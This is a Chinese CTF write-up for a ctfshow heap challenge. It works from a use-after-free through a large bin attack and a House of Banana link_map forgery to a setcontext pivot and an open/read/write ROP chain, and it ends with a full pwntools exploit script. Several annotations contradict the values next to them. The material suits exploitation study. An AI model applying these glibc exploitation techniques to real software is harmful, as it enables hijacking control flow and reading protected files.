CTFSHOW_元旦水友杯_2024_Heap_Harmony_Festivity

这道题目按理来说是禁用沙箱了的，不过发现 ctfshow 平台下载的新附件发现沙箱去掉了，我们依旧按照沙箱打

1778689951421-766f1fe1-b569-4c67-97c5-b18523050886.png

1778731498541-70e6ad54-e18f-460a-876f-5ff1c973fd73.png

main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
void __fastcall __noreturn main(const char *a1, char **a2, char **a3)
{
    int num; // [rsp+4h] [rbp-Ch] BYREF
    unsigned __int64 v4; // [rsp+8h] [rbp-8h]

    v4 = __readfsqword(0x28u);
    setbuf_0();
    puts_bytes();
    while ( 1 )
    {
        sub_9CD(a1, a2);
        a2 = (char **)#
        a1 = "%d";
        __isoc99_scanf("%d", &num);
        if ( num == 5 )
            break;
        switch ( num )
        {
            case 1:
                add();
                break;
            case 2:
                show();
                break;
            case 3:
                edit();
                break;
            case 4:
                delete();
                break;
        }
    }
    exit(0);
}

add：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
_DWORD *add()
{
    signed int v0; // ebx
    unsigned int idx; // [rsp+0h] [rbp-20h] BYREF
    int size; // [rsp+4h] [rbp-1Ch] BYREF
    unsigned __int64 v4; // [rsp+8h] [rbp-18h]

    v4 = __readfsqword(0x28u);
    puts("index:");
    __isoc99_scanf("%d", &idx);
    if ( idx >= 0xA )
        exit(1);
    puts("Size:");
    __isoc99_scanf("%d", &size);
    if ( size <= 127 || size > 1280 )
        exit(1);
    v0 = idx;
    qword_2020A0[v0] = calloc(size, 1u);
    dword_202060[idx] = size;
    return dword_202060;
}

show：

1
2
3
4
5
6
7
8
9
10
11
12
13
int sub_CCE()
{
    unsigned int idx; // [rsp+4h] [rbp-Ch] BYREF
    unsigned __int64 v2; // [rsp+8h] [rbp-8h]

    v2 = __readfsqword(0x28u);
    puts("index:");
    __isoc99_scanf("%d", &idx);
    if ( idx >= 0xA )
        exit(1);
    puts("context: ");
    return puts((const char *)qword_2020A0[idx]);
}

edit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
ssize_t sub_B8D()
{
    unsigned int idx; // [rsp+4h] [rbp-Ch] BYREF
    unsigned __int64 v2; // [rsp+8h] [rbp-8h]

    v2 = __readfsqword(0x28u);
    puts("index:");
    __isoc99_scanf("%d", &idx);
    if ( idx >= 0xA )
        exit(1);
    puts("context: ");
    return read(0, (void *)qword_2020A0[idx], (int)dword_202060[idx]);
}

delete

1
2
3
4
5
6
7
8
9
10
11
12
void delete()
{
    unsigned int idx; // [rsp+4h] [rbp-Ch] BYREF
    unsigned __int64 v1; // [rsp+8h] [rbp-8h]

    v1 = __readfsqword(0x28u);
    puts("index:");
    __isoc99_scanf("%d", &idx);
    if ( idx >= 0xA )
        exit(1);
    free((void *)qword_2020A0[idx]);         // UAF
}

EXP 思路：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
[1. 泄露基址]
利用 Large Bin 的残留指针泄露 GLIBC 基址与 Heap 基址。

[2. Large Bin Attack (任意地址写入)]
利用堆溢出/UAF 修改 Large Bin 块的 bk_nextsize 指针。
当向 Large Bin 插入新块时，触发漏洞，将堆地址写入目标地址：
  Target: _rtld_global 结构体中的指针。

[3. House of Banana (劫持控制流)]
程序退出时 (输入选项 5 Quit)，内部会调用 exit() -> _dl_fini()。
_dl_fini() 会遍历 _rtld_global 中的 link_map 链表并执行析构函数。
通过伪造 link_map 结构体，我们可以劫持程序流去执行任意代码。

[4. setcontext 栈迁移 (SROP 思想)]
由于 _dl_fini 调用函数时，寄存器 rdx 指向我们伪造的 link_map 内存。
利用 GLIBC 的 setcontext+0x3d 汇编片段，可以直接从 [rdx+...] 恢复各个寄存器，
完美控制 RSP（栈指针）、RDI、RSI、RDX，并跳转到 read 函数。

[5. 载入 ORW 链并执行]
通过上述跳转执行 read(0, fake_stack, 0x100)，将二次构造的 ORW ROP 链写入堆中，
随着栈指针迁移至此，依次执行 open("flag") -> read() -> write() 输出结果。

泄露 libc_base

1
2
3
4
5
6
7
8
9
10
11
12
13
add(0, 0x428) # 被用作释放到 Unsorted Bin -> Large Bin 的 chunk
add(1, 0x500) # 防止 chunk 0 与 Top Chunk 合并的隔断块 (Guard chunk)
add(2, 0x418) # 稍后用于触发 Large Bin Attack 的目标 chunk (比 chunk 0 略小)

free(0)
add(3, 0x500) # 申请大于 chunk 0 的内存，触发 GLIBC 整理，将 chunk 0 放入 Large Bin
# gdb.attach(p)
# pause()
show(0)
large_430 = u64(p.recv(6).ljust(8, b'\x00'))
libc_base = large_430 - 0x430 - 0x30 - libc.sym['__malloc_hook']
log.success(f'[+][+][+][+]libc_base is --> {hex(libc_base)}')

1778737911328-9b8f1d8e-a77e-45a4-9152-b03e98d5721e.png

1778738677105-5fc0a6f7-2309-4457-b8ab-a281ae0335db.png

在 show 前下断点，可以发现此时 chunk0 已经被释放到 largebin 当中，其 fd_nextsize 和 bk_nextsize 指针指向自身地址，fd 和 bk 指针指向 main_arena 附近区域，我们利用泄露的 main_arena 和 malloc_hook 就可以获取 libc 基地址了，这里利用的是 __malloc_hook 和 libc_base 之间的绝对偏移

1778733488160-d439d6b9-27be-4b3e-81f7-6143f2d8121f.png

泄露 heap_base

1
2
3
4
5
6
7
8
9
10
edit(0, b'A'*0x10)         # 利用编辑功能覆盖 chunk 0 的前 16 字节,覆盖 fd 和 bk
show(0)                    # 利用 show 继续泄露后面的 fd_nextsize
p.recv(0x10)
heap_self = u64(p.recv(6).ljust(8, b'\x00'))  # 在 Large Bin 中，如果是链表首节点，fd_nextsize 指向堆块自身或同链表其他堆块，以此算出 heap_base。
heap_base = heap_self - 0x290

log.success(f'[+][+][+][+]heap_base is --> {hex(heap_base)}')
# gdb.attach(p)
# pause()

这一点前面已经说了，利用 fd_nextszie 和 bk_nextsize 泄露：

1778733813733-0bb175d3-cd97-4bca-8fad-d4b003496f07.png

寻找 rtld_global

1
2
3
4
5
ld_remote_off = 0
rtld_global = libc_base + 0x22a060 - ld_remote_off 
log.success(f"{libc_base =:x} {large_430 =:x} {rtld_global =:x} {heap_self =:x}")
# gdb.attach(p)
# pause()

1778734152044-800820aa-5ad0-4c45-b8ca-611ab4bbe300.png

1778735042732-228124b6-39ac-496c-8db8-5ec0639c9e1d.png

largebinattach 篡改 bk_nextsize：

1
2
3
4
5
free(2)
edit(0, flat(large_430,large_430, heap_self, rtld_global-0x20))     # 仅修改bk_nextsize, chunk 2 插入时会执行 chunk0->bk_nextsize->fd_nextsize = chunk2
# gdb.attach(p)
# pause()
add(4, 0x500)

篡改 largebin 的 bk_nextsize，可以看看 add 之前 bins 的数据：发现已经篡改为 rtld_global - 0x20

1778740487490-2890d901-448e-4b8c-b780-7af3da737d59.png

1
0x7f3cb9a05040 (_dl_signal_error@got.plt) —▸ 0x7f3cb993e640 (_dl_signal_error)

当我们再次 add 的时候就会从已篡改的 largebin 当中申请了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
chunk_base = heap_base + 0xbd0
 
link_map  = p64(0)                                  # +0x00
link_map += p64(rtld_global + 0x16e0)               # +0x08: l_next (关键绕过)
link_map += p64(0)                                  # +0x10
link_map += p64(chunk_base)                         # +0x18: i_real

link_map += p64(0)*28                               # +0x20 ~ +0xFC: 填充 l_info 数组前置无关项
link_map += p64(chunk_base + 0x110)                 # +0x100: l_info[DT_FINI_ARRAYSZ]
link_map += p64(chunk_base + 0x110 + 0x20)          # +0x108: l_info[DT_FINI] / 占位
link_map += p64(chunk_base + 0x110 + 0x10)          # +0x110: l_info[DT_FINI_ARRAY] 且兼任后续结构的 d_tag
link_map += p64(0x20)                               # +0x118: 兼任后续结构的 d_val (数组大小)
link_map += b"flag\x00\x00\x00\x00"                 # +0x120: 兼任 d_tag / 存放文件名
link_map += p64(chunk_base)                         # +0x128: 兼任 d_ptr (数组基址)
link_map += p64(setcontext_3d)                      # +0x130: 目标函数指针 1 (被劫持的入口)
link_map += p64(pop_rdi+1)                          # +0x138: 目标函数指针 2 (辅助 ret 栈对齐)

link_map += p64(0)*12               # +0x140 ~ +0x19C: 填充未用到的通用寄存器位
link_map += p64(0)                  # +0x1A0: 对应 [rdx+60h] -> (R15 寄存器等)
link_map += p64(chunk_base+0x1f8)   # +0x1A8: 对应 [rdx+68h] -> 恢复 RDI (设为 0 stdin)
link_map += p64(0)*2                # +0x1B0: 占位
link_map += p64(0x100)              # +0x1C0: 对应 [rdx+88h] -> 恢复 RDX (设为 0x100 长度)
link_map += p64(0)*2                # +0x1C8: 占位
link_map += p64(chunk_base+0x1f8)   # +0x1D8: 对应 [rdx+70h] -> 恢复 RSI (指向后续安全写入区)
link_map += p64(libc.sym['read'])   # +0x1E0: 对应 [rdx+A8h] -> 恢复 RCX (终极跳转目标)
link_map += p64(0)*36               # +0x1E8 往后: 留出空白区作为执行 read 时的目标缓冲与未来 ROP 栈
link_map += p64(0x800000000)        # +末尾处: 对应 fs:48h 校验位，确保特权级指令安全绕过

提一下 0x16e0 的计算方法：我们不对 l_next 进行修改，因此找到他原本值减去 rtld_global 就可以了

1778753264871-0e824890-d469-4583-9db3-a7016d32ef01.png

1778753347683-b2f5c827-ea3d-490d-97c6-37a92fa77078.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
+-------+----------------------------------+----------------------------------+
| 偏移  | 前 8 字节 (0byte ~ 7byte)         | 后 8 字节 (8byte ~ 15byte)       |
+-------+----------------------------------+----------------------------------+
| +0x00 | l_addr                           | l_name                           |
+-------+----------------------------------+----------------------------------+
| +0x10 | l_ld                             | l_next                           |
|       | p64(0)                           | p64(l_next)                      |
+-------+----------------------------------+----------------------------------+
| +0x20 | l_prev                           | l_real                           |
|       | p64(0)                           | p64(base_addr)                   |
+-------+----------------------------------+----------------------------------+
| +0x30 | l_ns                             | l_libname                        |
+-------+----------------------------------+----------------------------------+
| +0x40 | l_info[26] (DT_FINI_ARRAY)       | l_info[27]                       |
|       | p64(base_addr + 0x100)           | p64(base_addr + 0x108)           |
+-------+----------------------------------+----------------------------------+
| +0x50 | l_info[28] (DT_FINI_ARRAYSZ)     | padding                          |
|       | p64(base_addr + 0x110)           | p64(0)                           |
+-------+----------------------------------+----------------------------------+
| +0x60 | f_r8                             | f_r9 / rdi                       |
+-------+----------------------------------+----------------------------------+
| +0x70 | f_r10 / rsi                      | f_r11 / rbp                      |
+-------+----------------------------------+----------------------------------+

+-------+----------------------------------+----------------------------------+
| +0x80 | padding                          | padding                          |
|   ~   | p64(0)                           | p64(0)                           |
| +0xF0 |                                  |                                  |
+-------+----------------------------------+----------------------------------+
| +0x100| fake_dyn[FINI_ARRAY].d_tag       | fake_dyn[FINI_ARRAY].d_ptr       |
|       | p64(chunk_base + 0x110)          | p64(base_addr + 0x130)           |
+-------+----------------------------------+----------------------------------+
| +0x110| fake_dyn[FINI_ARRAYSZ].d_tag     | fake_dyn[FINI_ARRAYSZ].d_val     |
|       | p64(chunk_base + 0x110 + 0x10)   | p64(0x20) (所需数组大小)          |
+-------+----------------------------------+----------------------------------+
| +0x120| 字符串寄放区 / padding            | 函数基址辅助指针 / padding        |
|       | b"flag\x00\x00\x00\x00"          | p64(base_addr)                   |
+-------+----------------------------------+----------------------------------+
| +0x130| target_func_array[0]             | target_func_array[1]             |
|       | p64(setcontext_addr)             | p64(ret)                         |
+-------+----------------------------------+----------------------------------+

link_map 的构造大概是这个样子的

欺骗 _dl_fini 的完整性检查 (头部信息)

当程序调用 exit() 时，动态链接器会遍历 _rtld_global 中的 link_map 链表来执行各个库的析构函数。为了让系统承认我们伪造的堆块是一个合法的 link_map，必须满足关键成员变量的校验规则：

  • +0x00: p64(0) (l_addr): 这是库的加载基址偏移。系统在计算动态节实际地址时，会用内部指针加上这个值。填 0 是为了防止后续我们填入的绝对地址发生二次偏移错位。
  • +0x08: p64(rtld_global + 0x16e0) (l_real):源码中有一处逻辑会检查 if (l == l->l_real) 或利用它取值。如果随意填，程序会直接触发段错误崩溃。指向 rtld_global 内部稳定的静态区域是为了通过指针合法性验证。
  • +0x18: p64(chunk_base) (l_ns): 表示当前所在的命名空间。部分逻辑会利用该标识定位上下文，填入自身有效地址防止越界访问。
劫持执行流 (伪造 l_info 与 DT_FINI_ARRAY)

_dl_fini 执行析构函数的底层逻辑是：找到 link_map 中的 l_info 指针数组，从中取出代表析构函数列表的指针并依次跳转。

  • 当解析器读取 DT_FINI_ARRAYSZ（在 +0x100）时，顺着指针来到了 +0x110。
  • 它把 +0x110 到 +0x120 这 16 个字节当成了一个完整的 Elf64_Dyn 结构体。
  • 结构体的前 8 字节（+0x110 里的指针）被当作无用的 d_tag 忽略；
  • 后 8 字节（+0x118 里的 0x20）被精准当作 d_val 读取
  • l_info[DT_FINI_ARRAY]（在 +0x110）指向了 +0x120。
  • 在 +0x120 存放的是字符串 “flag”, 充当无用 d_tag，而 +0x128 存放的是 chunk_base充当 d_ptr 基址
  • b"flag\x00\x00\x00\x00": 极致的内存利用。 这里其实是结构体中无关紧要的空闲间隙。顺手把后续 ROP 链要读取的文件名 "flag" 藏在了这里，省去了额外申请堆块存放字符串的麻烦。
  • p64(setcontext_3d): 原本这里应该填入真正的析构函数地址，我们将其替换setcontext+0x3d。
  • p64(pop_rdi+1) (即单纯的 ret 指令): 由于 GLIBC 内部调用函数时对栈指针有严格的 16 字节对齐要求。如果直接跳过去可能因为栈未对齐导致内部 SSE 指令崩溃，垫一个 ret 可以平滑过渡并修正 RSP 指针。
布控寄存器 (契合 setcontext 汇编逻辑)

当成功劫持程序跳转到 setcontext+0x3d 时，此时处理器的 RDX 寄存器天然指向我们伪造的 link_map 起始地址（即 chunk_base）

link_map 伪造偏移 对应的底层汇编指令 填入的具体数值与战术意图
+0x68 mov rdi, [rdx+68h] 填入 0,设置后续执行 read
的第一参数（文件描述符 stdin）
+0x70 mov rsi, [rdx+70h] 填入 chunk_base+0x1f8。设置 read 的写入目标地址（开辟在堆上的伪栈区）。
+0x88 mov rdx, [rdx+88h] 填入 0x100,控制一次性读取用户输入的字节长度。
+0xA0 mov rsp, [rdx+0A0h] 由后续逻辑或对齐默认填充，用于直接切换栈指针（栈迁移）。
+0xA8 push [rdx+0A8h]; ret 填入 libc.sym['read']。setcontext 结束时的终极去向，直接跳转执行 read函数。

这样就可以执行系统调用:read(fd = 0,buf = chunk_base + 0x1f8,count = 0x100)

第四部分：绕过底层安全缓解机制
  • +末尾: p64(0x800000000): 在 setcontext 的汇编末尾，有类似 test dword ptr fs:48h, 2 或针对特定特权位/浮点上下文的校验。填入这个特定的大数掩码是为了让测试指令呈现预期结果，直接走通无报错的安全路径跳转到我们的目标地址。

ORW 获取 shell：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
edit(2, link_map)                   # 将构造的 Payload 写入 chunk 2

#gdb.attach(p)
#pause()
 
p.sendlineafter(menu, b'5')
 
#orw
flag_addr = chunk_base + 0x130
orw = flat([
    pop_rdi, flag_addr, pop_rsi,0, libc.sym['open'], 
    pop_rdi, 3, pop_rsi, heap_base + 0x2a0, pop_rdx,0x50, 0, libc.sym['read'],
    pop_rdi, 1, pop_rsi, heap_base + 0x2a0, pop_rdx,0x50, 0, libc.sym['write']
    ])
 
p.send(orw)
 
p.interactive()

总 EXP：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
from pwn import *
 
libc = ELF('./libc-2.31.so') #GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9) stable release version 2.31.
context(arch='amd64', log_level='debug')
context.terminal=["tmux","splitw","-h"]
 
menu = b'\xc2\xa5'*6

def add(idx, size=0xf8):
    p.sendlineafter(menu, b'1')
    p.sendlineafter(b"index:\n", str(idx).encode())
    p.sendlineafter(b"Size:\n", str(size).encode())
 
def show(idx):
    p.sendlineafter(menu, b'2')
    p.sendlineafter(b"index:\n", str(idx).encode())
    p.recvuntil(b"context: \n")
 
def edit(idx, msg):
    p.sendlineafter(menu, b'3')
    p.sendlineafter(b"index:\n", str(idx).encode())
    p.sendafter(b"context: \n", msg)
 
def free(idx):
    p.sendlineafter(menu, b'4')
    p.sendlineafter(b"index:\n", str(idx).encode())
 
p = process('./pwn04')
# p = remote('pwn.challenge.ctf.show', 28184)
 
add(0, 0x428) # 被用作释放到 Unsorted Bin -> Large Bin 的 chunk
add(1, 0x500) # 防止 chunk 0 与 Top Chunk 合并的隔断块 (Guard chunk)
add(2, 0x418) # 稍后用于触发 Large Bin Attack 的目标 chunk (比 chunk 0 略小)

free(0)
add(3, 0x500) # 申请大于 chunk 0 的内存，触发 GLIBC 整理，将 chunk 0 放入 Large Bin

# gdb.attach(p)
# pause()
show(0)
large_430 = u64(p.recv(6).ljust(8, b'\x00'))
libc_base = large_430 - 0x460 - libc.sym['__malloc_hook']
log.success(f'[+][+][+][+]libc_base is --> {hex(libc_base)}')
 
# gdb.attach(p)
# pause()

edit(0, b'A'*0x10)         # 利用编辑功能覆盖 chunk 0 的前 16 字节,覆盖 fd 和 bk
show(0)                    # 利用 show 继续泄露后面的 fd_nextsize
p.recv(0x10)
heap_self = u64(p.recv(6).ljust(8, b'\x00'))  # 在 Large Bin 中，如果是链表首节点，fd_nextsize 指向堆块自身或同链表其他堆块，以此算出 heap_base。
heap_base = heap_self - 0x290

log.success(f'[+][+][+][+]heap_base is --> {hex(heap_base)}')
# gdb.attach(p)
# pause()

ld_remote_off = 0
rtld_global = libc_base + 0x22a060 - ld_remote_off 
log.success(f"{libc_base =:x} {large_430 =:x} {rtld_global =:x} {heap_self =:x}")
# gdb.attach(p)
# pause()
 
free(2)
edit(0, flat(large_430,large_430, heap_self, rtld_global-0x20))     # 仅修改bk_nextsize, chunk 2 插入时会执行 chunk0->bk_nextsize->fd_nextsize = chunk2
# gdb.attach(p)
# pause()
add(4, 0x500)

pop_rdi = libc_base + 0x26b72
pop_rsi = libc_base + 0x27529
pop_rdx = libc_base + 0x11c1e1           # pop rdx;pop r12;ret
libc.address = libc_base
setcontext_3d = libc.sym['setcontext'] + 0x3d

chunk_base = heap_base + 0xbd0
 
link_map  = p64(0)                                  # +0x00: l_addr (库的加载基址偏移，设为0) 
link_map += p64(rtld_global + 0x16e0)               # +0x08: l_real (关键绕过)
link_map += p64(0)                                  # +0x10: l_next / l_prev 链表指针填充
link_map += p64(chunk_base)                         # +0x18: l_ns (命名空间标识)

link_map += p64(0)*28                               # +0x20 ~ +0xFC: 填充 l_info 数组前置无关项
link_map += p64(chunk_base + 0x110)                 # +0x100: l_info[DT_FINI_ARRAYSZ]
link_map += p64(chunk_base + 0x110 + 0x20)          # +0x108: l_info[DT_FINI] / 占位
link_map += p64(chunk_base + 0x110 + 0x10)          # +0x110: l_info[DT_FINI_ARRAY] 且兼任后续结构的 d_tag
link_map += p64(0x20)                               # +0x118: 兼任后续结构的 d_val (数组大小)
link_map += b"flag\x00\x00\x00\x00"                 # +0x120: 兼任 d_tag / 存放文件名
link_map += p64(chunk_base)                         # +0x128: 兼任 d_ptr (数组基址)
link_map += p64(setcontext_3d)                      # +0x130: 目标函数指针 1 (被劫持的入口)
link_map += p64(pop_rdi+1)                          # +0x138: 目标函数指针 2 (辅助 ret 栈对齐)

link_map += p64(0)*12               # +0x140 ~ +0x19C: 填充未用到的通用寄存器位
link_map += p64(0)                  # +0x1A0: 对应 [rdx+60h] -> (R15 寄存器等)
link_map += p64(chunk_base+0x1f8)   # +0x1A8: 对应 [rdx+68h] -> 恢复 RDI (设为 0 stdin)
link_map += p64(0)*2                # +0x1B0: 占位
link_map += p64(0x100)              # +0x1C0: 对应 [rdx+88h] -> 恢复 RDX (设为 0x100 长度)
link_map += p64(0)*2                # +0x1C8: 占位
link_map += p64(chunk_base+0x1f8)   # +0x1D8: 对应 [rdx+70h] -> 恢复 RSI (指向后续安全写入区)
link_map += p64(libc.sym['read'])   # +0x1E0: 对应 [rdx+A8h] -> 恢复 RCX (跳转目标)
link_map += p64(0)*36               # +0x1E8 往后: 留出空白区作为执行 read 时的目标缓冲与未来 ROP 栈
link_map += p64(0x800000000)        # +末尾处: 对应 fs:48h 校验位，确保特权级指令安全绕过

"""
汇编执行完毕后，原本受限的程序被强行扭转了状态，并精准执行了系统调用:read(fd = 0,buf = chunk_base + 0x1f8,count = 0x100)
"""
 
edit(2, link_map)                   # 将构造的 Payload 写入 chunk 2

#gdb.attach(p)
#pause()
 
p.sendlineafter(menu, b'5')
 
#orw
flag_addr = chunk_base + 0x130
orw = flat([
    pop_rdi, flag_addr, pop_rsi,0, libc.sym['open'], 
    pop_rdi, 3, pop_rsi, heap_base + 0x2a0, pop_rdx,0x50, 0, libc.sym['read'],
    pop_rdi, 1, pop_rsi, heap_base + 0x2a0, pop_rdx,0x50, 0, libc.sym['write']
    ])
 
p.send(orw)
 
p.interactive()

1778753378836-9a835130-7bfe-400a-94a7-38589e473155.png

更新: 2026-05-14 20:45:26
原文: https://www.yuque.com/idcm/wnemg9/zxn8rib6iidpqyg0